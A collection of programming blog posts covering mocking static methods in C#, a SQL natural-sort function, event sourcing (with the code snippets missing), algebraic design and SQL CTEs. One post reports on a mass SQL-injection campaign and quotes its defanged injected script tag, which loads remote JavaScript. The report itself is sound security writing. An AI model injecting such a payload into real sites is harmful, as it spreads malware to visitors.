Unit Testing Is Dead

Haskell logo (Wikipedia)

Don't Bury The Lede!

Fair enough. Here's the power point takeaway:

• The future present is multicore!
• Only functional programming languages (Haskell and Erlang for the purist, but also Scala, Ocaml, F#) can scale adequately to cope with this future present.
• Functional software design eschews mutable state, being purely procedural and "static".
• Objects and interfaces (and O-O generally) are obsolete.
• Unit testing, as we used to know it, is dead! Yeah! And TDD/BDD too! Yeah!
• But we still have to support our legacy O-O systems with unit tests...
• Here's how to do that without jettisoning statics.

LINQ The Hero

The introduction of Language-INtegrated Query (LINQ) into the C# language, with C# 3.0 in November 2007, headlined an impressive list of new features. But in truth, there was only one major, new feature delivered in that compiler release. Virtually everything else, with the possible exception of Automatic Properties, was introduced simply to underpin and enable the great LINQ:

• Anonymous Types
• Local Variable Type Inference
• Object and Collection Initializers
• Lambda Expressions and Trees
• Extension and Partial Methods

Some examples of these dependencies:

1. Local Variable Type Inference is essential when returning values of an Anonymous Type from a query.
2. Lambda Expressions are required to enable the writing of sufficiently general SQL WHERE clause predicates.
3. Extension Methods provide the backbone of the "fluent" (method chaining) syntax, upon which the Query Comprehension (using SQL-like keywords) is just compiler syntactic sugar.

Naturally, most of these supporting features have found immediate application in multiple other areas. Extension Methods in particular have spawned an entire vocabulary of Fluent APIs (of which my favourite has always been Bertrand Le Roy's FluentPath). These are popular with developers and library code consumers alike, being in the words of TechPro's Khalid Abuhakmeh, a fun and discoverable way to allow fellow developers to access functionality.

Villain Of The Piece

But with great power comes, as they say, great heatsinks. And coolest in their response to the proliferation of these extensions, implemented as they are throughout C# using static methods, are the unit test evangelistas. Their point is simple and well-made:

• Unit testing involves rewiring your dependencies using mocks or "friendlies" which replace those real dependencies for test purposes.
• Static methods lead to an essentially procedural programming environment, with code and data separated, and without clear objects or interfaces available to be swapped out and substituted.

So much the worse for static methods, they say. To which I rejoin, so much the worse for your unit testing framework! Not all such tools have intractable bother with statics.

Pex/Moles

Microsoft's Pex and Moles VS2010 power tools, and their VS2012 replacement Fakes Framework (via Shims, though not Stubs), can handle statics reasonably well.

Typemock

The Typemock Isolator can control the behavior of static methods, just like any other method:

Isolate
  .WhenCalled(() => MessageBox.Show("ignored arg"))
  .WillReturn(DialogResult.OK);

So, your test might look like this:

[Test]
public void TestStaticClass()
{
  Isolate.WhenCalled(() => UserNotification.SomeMethod()).WillReturn(5);
  Assert.AreEqual(5, UserNotification.SomeMethod());
}

Telerik JustMock

JustMock provides for unrestricted mocking of dependent objects, including non-virtual methods, sealed classes, static methods and classes, as well as non-public members and types. Mocking of properties like get calls, indexers and set operations is also supported. JustMock also supports mocking of all classes and methods included in the MSCorlib assembly.

Don't Meddle With The IL?

Some of these solutions engender suspicion because of their under-the-hood behaviour. Specifically, there is concern that anything rewriting the actual Intermediate Language (IL) generated by the compiler, for consumption by the jitter, must result in something other than the official written code being tested. But this is an unjustified worry for several reasons.

• By its very nature, IL is not the code that's finally executed on the end user's processor. What does the jitter do, but transform that IL into something entirely new?
• Several .NET components cause new IL to be generated at run time. For example, Regex patterns which are not precompiled cause their own custom assemblies to be generated each time they are evaluated.
• Visual Studio design mode is the biggest IL simulator of them all. Just ask yourself, how does it run the constructor for your new user control in design mode, when you haven't even finished typing it in yet, never mind compiling it?!

In short, these Shimmying frameworks are thoughtfully designed and quite serviceable, and aren't doing anything outlandish that you're not already relying on to a great extent.

Further Reading

Statics and Testability

Miško Hevery, Russ Ruffer and Jonathan Wolter's Guide to Writing Testable Code (November 2008) lists warning signs related to the four most popular flaws in O-O Design. (Google)

Miško Hevery, Static Methods are Death to Testability (December 2008) goes into more detail and answers commentators' concerns with the previous document.

Introductions to Functional Programming

Learn You a Haskell for Great Good!

This is the world's best tutorial introduction to the world's best programming language.

Learn You Some Erlang for Great Good!

This is the world's best tutorial introduction to the world's second best programming language.

Natural Sort Order

Ten Before Two But 10 After 2

A recent update to our flagship product takes advantage of the server-side paging capabilities of the DevExpress Grid control. Naturally, this change has involved the migration of much client-side C# code into server-side table changes, triggers, and stored procedures, all written in SQL. One of the casualties was a particularly hirsute C# method which used to sort table contents into what's sometimes called "Natural Order", so that e.g. DC10 would come after DC9, rather than the naive collation or ASCII order, which would have them reversed.

For reasons unknown it fell to me to implement our Natural Sort. Easy I thought, I'll ask Google for the answer. That's when I discovered there's really no such thing as The Natutral Sort Order. It depends on your particular data, and your specific requirements, to a frankly surprising degree. Of course, there is plenty of material to choose from on the web. Jeff Atwood's Coding Horror on the subject is quite a good central station for your exploration of the matter. But this plenitude is also a bit of a problem. After an hour or two of research, I'd decided my best plan was to design and implement my own, newly reinvented wheel.

Fields

The basic approach is to partition or "stripe" the input (unsorted) data into a sequence of fields, alternating alphabetical content with numerical, and then treat each field as its own Sort By column - sorting the alpha fields as normal, and the numeric fields numerically. In the above DC9 / DC10 example, this results in an initial alpha field containing "DC" in both cases, followed by a numeric field containing the integers 9 and 10, which are then subjected to a numerical sort.

Some of the examples I'd read performed this latter sort by actually converting the input data field into an integer, then using the language's numeric comparison capabilities. I didn't want to use that approach, because a 32-bit signed integer can only be used for field sizes up to 9, a 64-bit one 18, and so on. I had no specification to assure me customer data wouldn't exceed such an arbitrary bound, so I fell back on the old workaround of keeping the numeric fields in string form, but left-padding them with zeros until all the rows were the same length, allowing an alpha sort to do the job of a numeric one. This is essentially part of what we do when we adopt the ANSI date format, e.g. 2013-09-29, to get correctly ranked dates.

Collations

Notice that it doesn't matter which padding character you use to right-align the numeric fields, just as long as it doesn't come after 0 (zero) in the collation order. This is important later.

One fun fact I found while researching collations was that aa comes after ab in the Danish / Norwegian collation order. For historical-typographical reasons, aa is treated (while sorting) as identical to the letter å, which just happens to be the last letter of their shared alphabet. Never mind; we'll just have to assume anyone using a particular collation order knows what they're doing, and won't be surprised by results which after all should in all cases appear perfectly non-anomalous to them.

Field Sizes

Okay, so now we have this requirement to right-justify our numeric fields by left-padding them with e.g. zeros. What fixed field size should we pad them out to? Well our input data, being stored in a traditional, relational database, has some particular maximum string length. In my case that length was 200. There's nothing to stop our customers filling every single character space with a decimal digit. So we could be looking at a numeric field of width 200.

What about the alpha fields? These don't require padding, since standard left-to-right string comparisons work fine for them. But note that every alpha character "uses up" one position in the input data, rendering that location unavailable for storing a subsequent digit. Long story short, we can stuff any alpha prefix into the left edge of our 200-character field, and still have enough room to fit and pad out the remaining, right-justified, numeric content.

For performance reasons, the ultimate destination for this calculation was a "live" Sort Order column in the relevant database table, rather than a UDF call at SQL SELECT time. That's why my buffer size had to be allocated statically, rather than optimised with reference to the worst case requirements of the data actually in the table; we didn't want a new row of data invalidating the precomputed sort orders of the old data.

Islands and Seas

You might worry about non-digit characters encroaching on the padding space of our numeric fields, and you'd be right to. Actually everything works okay as long as we stick to letters and digits. Anomalies can start to appear when we introduce punctuation characters, especially when using ASCII collation. The numeric digits and the upper- and lower-case letters can be seen to form three disconnected "islands" of codes, surrounded by four seas of punctuation characters.

In practice, these anomalies are mitigated by our customers' sparse use of such punctuation, and tendency to apply it consistently whenever it is used at all. As a further mitigation, I changed the padding character from a zero digit to a space, ensuring that padded-out numeric fields are essentially guaranteed to sort lower than any alpha or other character found in the same region.

Example

The following, correctly sorted data can be seen to illustrate these adjustments. Notice, in the Natural Sort column, the use of the space character as filler, and the fact that the 'h' of 'Coach' occupies the same character column position as the '1' of 'Van 1234' without causing any problem:

Simple Sort   Natural Sort

 Coach 12      Coach  2
 Coach 2       Coach 12
 Van 1234      Van  234
 Van 234       Van 1234

Field Count

Obviously the input data might contain further alternating fields of non-numeric and numeric data. What should we do with subsequent fields? Well, we just package them up in pairs using exactly the same algorithm as the first, and when we have done this enough times to consume all of the input, return the concatenation of all these field blocks as the sortable key.

There is another minor optimisation available here. Obviously the first field pair must have consumed at least one character from the input. This means that the field "buffer" for the second pair can be made one character shorter than the first - say, 199 characters instead of 200. Likewise, if input characters remain after the second or subsequent field pair have been extracted, then that pair must have consumed at least two characters, so the next buffer size can be 197, or 195, or 193, or...

Yes, quite. The law of diminishing returns cuts in quite promptly here, especially since we decided that a total of 3 field pairs would be more than adequate for our customers' requirements (actually there is an auto-generation element in our product, designed to nudge them into using just a single field pair: an alpha prefix, followed by a numerical index). So I just left all my buffers at width 200. You should obviously make use of this optimisation if your input size limit is much lower than 200, or if you decide to use a lot more significant field pairs.

Coding and Testing

This works adequately and was ultimately accepted for production, but I must acknowledge here the excellent work done by our Test Department, both in testing my new UDF out-of-sequence when I asked - quite unreasonably - for an early comparison with the old client-side C# function (come to think of it, how the hell did they even do that?), and also in uncovering pretty quickly all of the corner cases - punctuation, padding characters - mentioned above.

Oh, the code? Yeah sure, here ya go. Should be quite easy to hunt down the few rogue "200"s to adapt it for your use. You might also want to limit the number of iterations to prevent DOS attacks (we use only 3). As I said at the outset, it's still surprisingly specific and might not work for you. For example, it doesn't recognise decimal points / numeric separators. The truth is, there simply does not exist one Natural Sort Algorithm suitable for all data.

CREATE FUNCTION [dbo].[NaturalSort](@input NVARCHAR(200))
RETURNS NVARCHAR(MAX)
AS
BEGIN
  DECLARE
    @count INT = LEN(@input),
    @result NVARCHAR(MAX) = '',
    @p INT = 1, @q INT, @x INT, @y INT
  WHILE @p <= @count
  BEGIN
    SELECT @x = PATINDEX('%[0-9]%', SUBSTRING(@input, @p, @count) + '0') - 1
    SELECT @q = @p + @x
    SELECT @y = PATINDEX('%[^0-9]%', SUBSTRING(@input, @q, @count) + '!') - 1
    SELECT @result = @result + SUBSTRING(@input, @p, @x) +
      REPLICATE(' ', 200 - @x - @y) + SUBSTRING(@input, @q, @y)
    SELECT @p = @q + @y
  END
  RETURN @result
END

Li1up0phi1up0p

Just Don't Go There

I've numfuscated the name of this domain, just to try to ensure that you won't end up going there accidentally. But Li1up0phi1up0p reached a significant milestone last week. In an ecosystem of low to medium spread, low to medium profile SQL Injection attacks, many quite serious and mitigated only by these low numbers, this one has over the span of six or more weeks, achieved in excess of one million infected URLs. I've been watching it grow...

Mark Hofman of Shearwater reported on December 1 last year, several websites becoming infected with a SQL Injection script containing the string

"></title> < script src="http://anonymouse.org/cgi-bin/anon-www.cgi/hXXp://Li1up0phi1up0p.com/sl.php"> < /script>

(or, as I said, something quite like it :-). Checking Google, he found the number of infections at that time to be about 80, covering all versions of MSSQL. Next day, similar checks revealed about 200 infections in the morning, a thousand by lunchtime, and over four thousand that afternoon. One week and 160,000 infected websites into the event, it had become clear the attack was spreading rapidly via several and various automated sources. The most affected single region was .uk, followed by .de and then .com.

Mark's log at the SANS Internet Storm Center blog ISC Diary contains details of database "probing" occurring some time prior to the actual commencement of the attack, and some detailed information about its motive (it's attached to a fake AV scam), while at Kaspersky's ThreatPost, Dennis Fisher reveals something of its modus operandi as it works through various IIS, ASP and Microsoft SQL Server vulnerabilities.

A very similar attack with the moniker lizamoon also achieved a million infections earlier in 2011.

Event Store Methods - part 2 of 2 (guest post)

This is the second and concluding part of Colleague C's account of his experience using an Event Store within a system designed on the Command Query Responsibility Segregation (CQRS) pattern. All text references to actual projects and namespaces have been removed, leaving only the code snippets essential to the general discussion.

Previously: Aggregates, Entities and Events.

Applying and Replaying Events

Now I can finally get to the interesting implementation: how events are applied and replayed. It's important to understand how this happens for events applied far down the object graph, distant from the root. Most examples you’ll see online don’t go beyond the root level, and really lack infrastructure to propagate events down to the entities where they must be applied. Our implementation has been based around how the Ncqrs Framework handles these scenarios.

I’m going to detail how this is done, by going through the commands used for creating a new workflow, a stage for that workflow, and a tasklist for that stage. Let’s first take a look at the command handler for creating a new Workflow, which is pretty straightforward:



To take a look at how the events are being applied, we’ll need to have a look at the code inside that CreateWorkFlow factory method:



You can see here that some basic business logic is performed before the event is applied. Our little example application unfortunately isn’t very interesting, but it illustrates the point. When we make a call to that private constructor, before we reach that code, a call is made to the constructor of the AggregateRoot base class. Let’s have a look at that constructor:



The interesting bit is the mapping strategy. It alleviates the need to write code manually for registering event handlers, which are just methods on the aggregate root or entity. The mapping strategy implements an interface, so it would be possible to define other strategies, and you could have different aggregate root base classes using different strategies (rather that than inject the mapping strategy in; I prefer to keep the domain clear of constructor injection). You’ll notice that you pass a reference to the instance of the aggregate root into the method.

Let’s take a look at that method on the mapping strategy:



First, we get all the public and private instance methods on the target object. We then run a LINQ query to filter those methods to the ones starting with “On”, and having a single parameter implementing IEvent.

After that, we loop through each of those methods and create a delegate to call each, with a reference to the target object. This is important for the entity-based event handlers; if you have a set of children, you need to be able to handle an event on the correct child (we’ll come to this a bit later). The method is then wrapped inside an event handler, which has some logic to determine whether a particular handler can handle an event that it’s been passed. Finally, the list of handlers is returned to the aggregate root constructor, and the aggregate root adds each to its event handler collection.

In the case of the Workflow instance, a couple of event handler methods will be found:



We now come out of the base class constructor, and enter the constructor of the Workflow instance:



We can see that we’re now going to attempt to apply the WorkflowCreatedEvent to this instance, which takes us back to the AggregateRoot base class, since the Apply method is a protected method on the base. Let’s take a look at that:



Since we’re just creating the workflow at this stage, this call to GetNewEventVersion() is going to return 1. We then take a copy of the current list of event handlers - at this point in time, a couple of handlers. Why take a copy? During these event handler calls, other event handlers can be added to the aggregate root’s collection. Don’t be alarmed by this, it will make sense shortly! If you didn’t take a copy, you’d get an exception thrown, as you can't add items to a collection that you’re iterating over.

Anyway, we want to apply a WorkFlowCreatedEvent. We’re going to loop over all the handlers and figure out which one should handle this event. Remember that the event handlers are actually inside a wrapper, so the call to HandleEvent here will be a call into this wrapper method. It's a really simple method, and can be found by going to the EventHandler class:



Again, this is pretty simple. We figure out if this handler is to handle this event by checking that the type of event passed in is the same type as the first parameter on the handler (this type was passed in when we created the event handler in the mapping strategy). If it is, we’ll call the handler, passing in our event to be applied. Remember that the handler has a reference to a target, which in this case happens to be the Workflow instance.

As a result, we’ll end up calling the OnWorkflowCreated method on the Workflow instance, which will set its ID and title. After that, we’ll return back to the base Apply method. You’ll notice that we assign the AggregateId of the event in the base class. We need to do that after the event application, because in the case of an event that creates an aggregate, the ID would still be empty if we attempted to assign it before the event had been applied. It would also be possible to assign the AggregateId in the event handler, but it’s preferable to have that behaviour in the base class so it’s not forgotten. Finally, we add the applied event to the list of uncommitted events, get back to the private constructor that called the Apply method, then return to the static CreateWorkflow method, which will return our new instance back to our command handler.

The only thing that we need to do now to complete this command is to use the repository to save the Workflow that we’ve just created. Or more correctly, to save the WorkflowCreatedEvent we’ve just generated. The repository doesn’t do much. It has access to an IEventStore interface with a Store method to commit events. The aggregate root implements an IEventProvider interface, exposing a method to get the uncommitted changes, so this event provider is passed in through the Store method.

Here is a sample implementation of the Store method, using SQL Server based storage for the event store:



You can see it’s actually fairly straight forward. There is a concurrency check, that the current version of the aggregate root you’re about to save matches that of the stored one. Otherwise, someone has updated the same aggregate root during the time in which we’ve tried to apply other events. If everything is OK with respect to concurrency, each event is saved and published. The publish method will put the event on a queue without blocking, until it has been processed. Then, the version number is updated on the aggregate root, and updated in the Aggregates table. In the case of the exception there, I think that that exception should probably be wrapped up in some sort of EventStoreSaveException. That exception would then bubble up to the point where the command handler is being called, and you could deal with it in whatever way is appropriate.

With all that done, the command has now been handled successfully.

The next command will demonstrate how event handlers are registered on ‘child’ entities:



It’s worth taking a quick look at restoring the Workflow. Here’s the implementation of that repository method:



When the aggregate constructor is called there, we go through the same process as previously to register all the event handlers. After that, the previous events related to that aggregate are fetched from the event store, using a simple SELECT SerializedEvent FROM Events WHERE AggregateId = Id query. These events are then applied to restore the object to its current state. You call exactly the same Apply method already discussed. The only difference: when the object is restored, the applied events collection gets cleared at the end of the process, as you’re only interested in saving subsequently applied events.

So now that we have our workflow restored, we want to add a stage to it. If you take a look at the AddStage method, after performing a little bit of uninteresting business logic, we’ll apply a WorkflowStageAddedEvent. The event handler for this was registered when the aggregate root was being constructed, so we’ll find the event handler based on the type of the event. Eventually, this simple handler will be called:



This is obviously an extremely simple method. What's interesting is what goes on in the construction of the Stage class, which inherits from the base Entity class. You can see we’re passing a reference to the ‘parent’ aggregate root via the “this” keyword. The constructor for the Stage itself is pretty simple, the interesting work taking place in the base constructor:



It’s important for the entity to have a reference to its aggregate root. The event handlers for the entity get registered at the aggregate root level, because events are applied and saved at that level. We can see here that the exact same mapping strategy is used, as with the aggregate root. So, the same mechanism for finding event handler methods on the aggregate root is used for the Stage. Notice there that the reference passed into the mapping strategy is a reference to the current entity, rather than the aggregate root. This means any event handlers found are registered for this particular entity. In the case of the stage, there's one event handler method, OnWorkflowStageTaskListAdded. However, if the workflow had 6 different stages, you’d have 6 different event handlers - one for each stage instance.

This is why it’s key for the event handler to store a reference to the instance on which to call the method. If you remember back to the process of applying events, the aggregate root goes through its registered handlers, figuring out what handler to use by matching up the type of the received event with the type of the first parameter on the registered handler. The process is just slightly different for events on entities, which is why you put the event handler in a wrapper. Here’s the code that figures out whether the event gets handled in the case of the entity:



As you can see, there is actually a different type for entity based events. The difference is that the entity event exposes an EntityId property, which it uses to make a comparison. Remember, this method is being called from the context of an aggregate root. That’s why you have the first null check; non-entity-based events could be received by this method, in which case you'd return straight away, since you obviously can’t handle those.

The second check, to see whether we should use this handler for this event, is a comparison of the ID of the entity with the ID that got stored with the event. Again, if this test fails, we return; we need the correct instance upon which to apply the event. After passing all checks, we call into the same event handler code that the aggregate roots do, and this will just match up the parameter types.

So, for each handler found on the entity, a wrapper is created and registered with the aggregate root, rather than the entity. While these entities are being created, their handlers are registered. So when the item is being restored from the event store, and a WorkflowStageAdded event is encountered, this will create a new Stage and register its event handlers. This works no matter far down the object graph you go in terms of descendants: you will never encounter a WorkflowStageAdded event before a WorkflowCreated event, if everything has been versioned correctly.

When that Stage was created there, one event handler got registered - OnWorkflowStageTaskListAdded. This would be applied when you called the AddTaskList method on the Stage class.

I guess there's no necessity to walk through the essentially identical command logic to create a TaskList on a Stage. However, there is a difference in the event application on the entities, which is nicely handled in the base class:



The entity ID gets set. Again, it would be possible to do this in the event handler, but it’s easier to ensure it takes place on the base class. The important part again is that the actual application of the event takes place on the aggregate root, where the handler is registered. So, the event will be applied to the entity, then saved at the aggregate root level, and committed to the event store.

~ END ~

Event Store Methods - part 1 of 2 (guest post)

Those QC articles were a long squawk, chomping chunks from evenings and weekends over a big month. While I recover, trying to remember what free time and my wife look like, Colleague C has kindly consented to guest blog the following, to help make up the numbers. It's all about discovering the delights of using an Event Store, within a system designed on the Command Query Responsibility Segregation (CQRS) pattern. Having edited the article slightly for style and panache, I'm bound to assume responsibility for any errors thus introduced. Ladies and gentlemen, His Code Here proudly presents: Colleague C!

Aggregates, Entities and Events

In our system based on an event source, objects are restored to their "current" state by replaying a set of ordered historical events. The one canonical example most often used to describe event sourcing is the common or garden bank account. Your account has a current balance, but you don’t just store that balance - you arrive at it, via a historical record of debits and credits, re-applied from an initial (empty) starting point, to eventually produce the current balance.

Events are simple objects containing no behaviour; they just describe the event in terms of a set of property values. They are ordered using a version number. When you want to restore an entity to its current state, you fetch the events relating to it, order them by version number, then apply them in order. Application of events involves nothing more than changing the state of the entity - there is no logic when an event is applied. This is because historical events which have already been applied, and saved, must always be re-playable and never subject to failure, so that the entity can be restored.

What would happen if business logic were to be included in event application? Business logic is something that potentially changes throughout the lifetime of an application. Initially, for example, you might have a text field on an entity, defined to have a size limit of 255 characters. When applying your event, you would validate that the field contained no more than 255 characters, and everything being OK, you'd proceed with the event application. Later on down the road, a decision is made to change the size limit of this field to 50 characters. So an event in the past that applied 150 characters to that text field is now invalid, in the context of this new rule, and an exception will be thrown - meaning you can’t restore your entity.

Business logic always occurs before you apply an event. And, an event is only applied to the entity if the requested operation is valid by all business rules.

When events are applied to effect changes on entities, obviously they do change the state of the entity, but what we’re presently interested in is the collection of newly applied events, rather than the state change. In event sourcing, when you persist an entity, it’s not like persisting objects with a traditional database style approach. There, you change the state of the entity, then save its new current state in some table(s). When you save an entity in an event sourced system, you save just the newly applied events. In this context, the state change resulting from a new event application is a mere side effect! One that of course does no harm.

The storage of events is very straightforward, and many options are available. One is to use a very simple database schema, consisting of just two tables:



The Aggregates table contains a list of all the aggregates in the system, with the ID of the aggregate, its Type (for debugging purposes only), and the current version. This last is a little optimisation.



Each row in the Events table describes one event, using:

1. an AggregateID identifying the aggregate to which the event relates;
2. the version of the event; and
3. a serialized representation of the event, containing all property values that need to be applied.

Note that the Aggregate ID column will usually be indexed, since all queries retrieving events will use it.

A crucial point here is that events are always saved and applied at the aggregate root level. It might take a bit of time to illustrate this point, but I’ll explain this in the context of a simple model. In our example, a workflow has a title and a collection of stages. Each stage has a title and a collection of task lists. Each task list has a title. We might take it a bit further and say that each task list has a list of tasks, but we’ll stop at the task list. Now let’s describe the model using domain driven design terminology.

First I'll introduce some important terms for the benefit of people who perhaps haven’t read the Eric Evans book Domain-Driven Design: Tackling Complexity in the Heart of Software. When I was first reading about this stuff via blog posts and articles found on the net, the terms aggregate and aggregate root were used in such ways, I wondered if they were synonymous. Perhaps I had also been a bit confused by looking at code from DDD example projects, where the terms used in the book don’t quite map directly to the code (I’ll come to that shortly). Since I won’t explain it better than Eric, I’m going to quote his definition:

An Aggregate is a cluster of associated objects that we treat as a unit for the purpose of data changes. Each aggregate has a root and a boundary. The boundary defines what is inside the Aggregate. The root is a single, specific Entity contained in the Aggregate... Entities other than the root have local identity, but that identity needs to be distinguishable only within the Aggregate, because no outside object can ever see it out of the context of the root Entity.

We can now attempt to describe our model using these terms. The entire diagram represents the aggregate and its boundary, and we see from it that our workflow is an entity, our aggregate root. A stage is an entity that's a child of a workflow. It only has local identity, as we'll only ever be interested in a stage in the context of a workflow instance. Similarly, a task list is an entity that's a child of a stage. It has identity local to the stage instance (although still local to the entire aggregate too), as we'll only be interested in a task list in that context. However, as I mentioned a bit earlier, it’s important to note that the task list, despite being a child of a stage, still refers to the workflow as its aggregate root, and not the stage.

It’s particularly important in the context of the implementation, where a reference to an aggregate root is maintained down the entire graph of an object. This is necessary so we can save and apply events at the aggregate root level. Even when we want to save new events that have taken place on children, such as adding a task list to a stage, still we need to save the entire aggregate root. After all, events always relate to an aggregate root - remember, we query by AggregateID to retrieve them.

So, how exactly do the proper terms fail to map exactly on to the code?

You can see that our Workflow class inherits from an AggregateRoot class, which happens to be an abstract base class. Since we mentioned that a workflow is an entity, perhaps we might expect to see it inheriting from Entity? Then we would have a reference to it inside some aggregate root class. Well, as just mentioned, the AggregateRoot class is abstract. It doesn’t really make sense to create an instance of that; you’d rather create instances of actual concrete aggregate roots. So, even though an aggregate root is an entity, in the code we’ll define any root entities as inheriting from AggregateRoot.

There is also an Entity abstract base class. Stage and TaskList inherit from this. In the code, entities that are not aggregate roots must have a reference to an aggregate root. The entity has a protected AggregateRoot field, a reference to the ‘parent’ aggregate root, although as hopefully my previous explanation will have made clear, this is not really a parent. The AggregateRoot must be passed into the entity's constructor. The only reason that it’s protected as opposed to private is so it can be passed, when a concrete entity creates a child, into the new child.

Both of these base classes provide all the behaviour for managing event application and replaying.

Having established all that, I can finally get to the interesting implementation: how events are applied and replayed.

Next time: Applying and Replaying Events.

Algebra

Don't you just hate those Microsoft developers?*

You've just started replacing that fusty old, string-based SQL Builder with a modern, class-based model, featuring fully composable queries, query clauses, and expressions, all the way down to basic arithmetic. Suddenly, they bring out LINQ.

Some time later, recognising the monadic algebra behind the new pattern-based query comprehension keywords, you decide to harness it to implement the continuation monad, which will allow you to write asynchronous code in a purely synchronous paradigm. Suddenly, they announce async/await.

No matter how good, how revolutionary your design, the fact remains that you just can't beat a good keyword. There's simply no better or more powerful implementation, nothing tidier than a well conceived and designed primary language feature. This observation highlights the need to know thoroughly, completely and perfectly, the nature of the feature under implementation.

Unless your main business is writing compilers, your greatest enemy is the client specification, perhaps represented by the design engineer, stating non-goals like there is no requirement to compare or subtract two fields. Because you know that there will be. And when that requirement is finally unearthed, you will already have been forced down the Agile pipe, and have implemented a horribly hobbled subset of the operations that would have been required to express properly a well-formed algebra - of queries, or asynchronous tasks, or whatever.

The sad truth is that many of us lack the basic mathematical skills to appreciate the seachange wrought on your design by a proper, complete, closed and proven algebra. And while the scope for such effort and expenditure by application developers continues to shrink, and a good job too, with the increasing power and usability of production compilers and other tools; still it is imperative to be ready to identify such situations when they do occur, and to be prepared to design the solution along veins of sound, algebraic principles.

Vindication

Eric Lippert's latest blog article is a beautiful exercise in such pure, abstract, algebraic thinking, and brilliantly displays its payoff. He asks, what in C# is a type? The naive answers most of us would propose, these have all by now been discounted with the aid of counterexamples, in the predecessor article. A type is not a name with a set of values. Neither can it be defined as a set of assignment rules. Still less is a type some kind of predicate for determining which among an infinite set of values belong to it. Eric demonstrates the strictly formal application of mathematical logic at work in his conception, when he actually makes essential use of Russell's Paradox in proving the inadequacy of these attempts!

A type, in the mind of compiler writer Eric, is nothing more than an abstract mathematical entity obeying certain algebraic rules. He follows this definition with a good analogy based on Giuseppe Peano's axiomatic definition of natural number. Turning back to his equally axiomatic type definition, he then shows how its axioms can be used to construct compile-time proofs of runtime type safety (ignoring temporarily wrinkles like the cast operator, or unsafe array covariance).

But perhaps the best illustration of the power of the abstract analytical approach is seen when he dips into Gödel's undecidability results, and identifies areas where such proofs cannot be constructed reliably. The lesson here is that still, the formal analysis rigorously controls the progress toward a compiler solution; this time accurately and unambiguously delineating the "holes in the road" where practical workarounds must be applied, or where - in measurably unrealistic, and perfectly predictable situations - a compiler failure can be tolerated.

Expression too complex to analyse.

Pic: Giuseppe Peano, from Wikipedia. Not actually a Microsoft dev.
*I just love those Microsoft developers!

Common Table Expressions

Waiter, there's a Table on the Fly

Common Table Expressions (CTEs) have been around for a while, since having been introduced into SQL Server 2005. Basically they provide a way to create a temporary working table, stuffed with useful calculated data, which can then be accessed from an adjoined query just as though it were a real physical table in the database.

Now, the particular power of Microsoft CTEs comes from the fact that they can be built recursively. This fact has made them a very popular choice for interrogating hierarchical, tree-structured data, for example in tables using the ID : ParentID method of auto foreign keys. A few lines, a mere couplet of SQL, can conjure up a temp table containing any given row together with all of its descendants.

The question of how best to implement storage of hierarchical, tree-structured data is an ancient one, and there have of course been many solutions to it. Joe Celko's SQL For Smarties describes in detail an alternative, fascinatingly mathematical approach with some important performance benefits. I have used this on some occasions, recursive CTEs on others, and still other alternative approaches as appropriate when non-functional requirements have dictated.

Lighten Up

But I've probably been a bit blinded by the efficacy of CTEs in this particular context, to their other potential uses in simpler scenarios. This occurred to me today, when a colleague asked for some advice in building certain dashboard metrics as SQL queries. After a little too much black coffee, I found that while part of my brain idled along a path of conventional JOINs and nested SELECTs, another part instead began to wonder how a procedurally oriented developer, habitually reluctant to think in relational terms, might be able to build such a compound query out of its perceived components.

Set-relational operations are combined in a fundamentally different way from sequential ones. This has ever been clear to the SQL school, but is only now, with the advent of LINQ, beginning to receive much more attention from the procedural. It seemed to me at that moment, that CTEs might have a role to play in this ongoing adoption.

Quite often, people might correctly identify and perform a promising initial SELECT query, projecting their data from source tables into a "shape" somewhat closer to their desired output; but then they immediately run up against SQL's unfamiliar syntax and context restrictions, as soon as they try to take step 2. This appears to be an exact analogue of the notorious "impedance mismatch" between the coding requirements of relational storage, and those of the business object environment.

But what if we simply take that intermediate projection, construct a CTE out of it, and use that as our starting point for the next step?

Composable Queries Again

In practice, there are no significant limitations upon what can be done with the CTE contents, at least as far as our procedural developer is concerned. It really can be treated as just another table, containing data structured in a slightly more goal-friendly way than was previously available. Now just lather, rinse and repeat.

The forementioned colleague's problem was: obtain a result set containing the percentages of cases successfully closed, after a given number of communications, where the communications dimension was striated into "less than two", "two or three", and "four or more".

From the database, we use only an intermediate Communication table, which connects cases to communications (so each row has an integral Comm_CaseId and Comm_CommunicationId). Here's how CTEs allow the answer to be built up piecemeal. The first CTE, "Totals", simply obtains a count of all the cases, to allow us later to calculate proportions. The second, "Comms", aggregates the cases as required by our striation, delivering each case ID in one column, together with a corresponding category letter in another. The third CTE, "Cats", then further aggregates these categories. Finally, our main SELECT combines this output with the previously computed totals to arrive at the required output:

WITH Totals(Total) AS
(
  SELECT COUNT(DISTINCT Comms.Comm_CaseId)
  FROM Communication Comms
),
Comms(CaseID, Cat) AS
(
  SELECT
    Comms.Comm_CaseId,
    CASE COUNT(Comms.Comm_CommunicationId)
      WHEN 0 THEN 'A' -- Category A means 0 or 1 communication(s).
      WHEN 1 THEN 'A'
      WHEN 2 THEN 'B' -- Category B means 2 or 3 communication(s).
      WHEN 3 THEN 'B'
             ELSE 'C' -- Category C means 4 or more communication(s).
    END
  FROM Communication Comms
  WHERE Comms.Comm_CaseId IS NOT NULL
  GROUP BY Comms.Comm_CaseId
),
Cats(Num, Cat) AS
(
  SELECT COUNT(CaseID), Cat
  FROM Comms
  GROUP BY Cat
)
SELECT
  Cat AS 'Category',
  100 * Num / (Total + 0.0) AS '%'
FROM Cats, Totals

Non Hollywood Ending :-(

In the end, my colleague reverted to traditional Join based ANSI SQL code for her problem, as that turned out to be easier to decorate with the auxiliary columns she needed for the purposes of her BI analysis. Still, it was an enlightening exercise.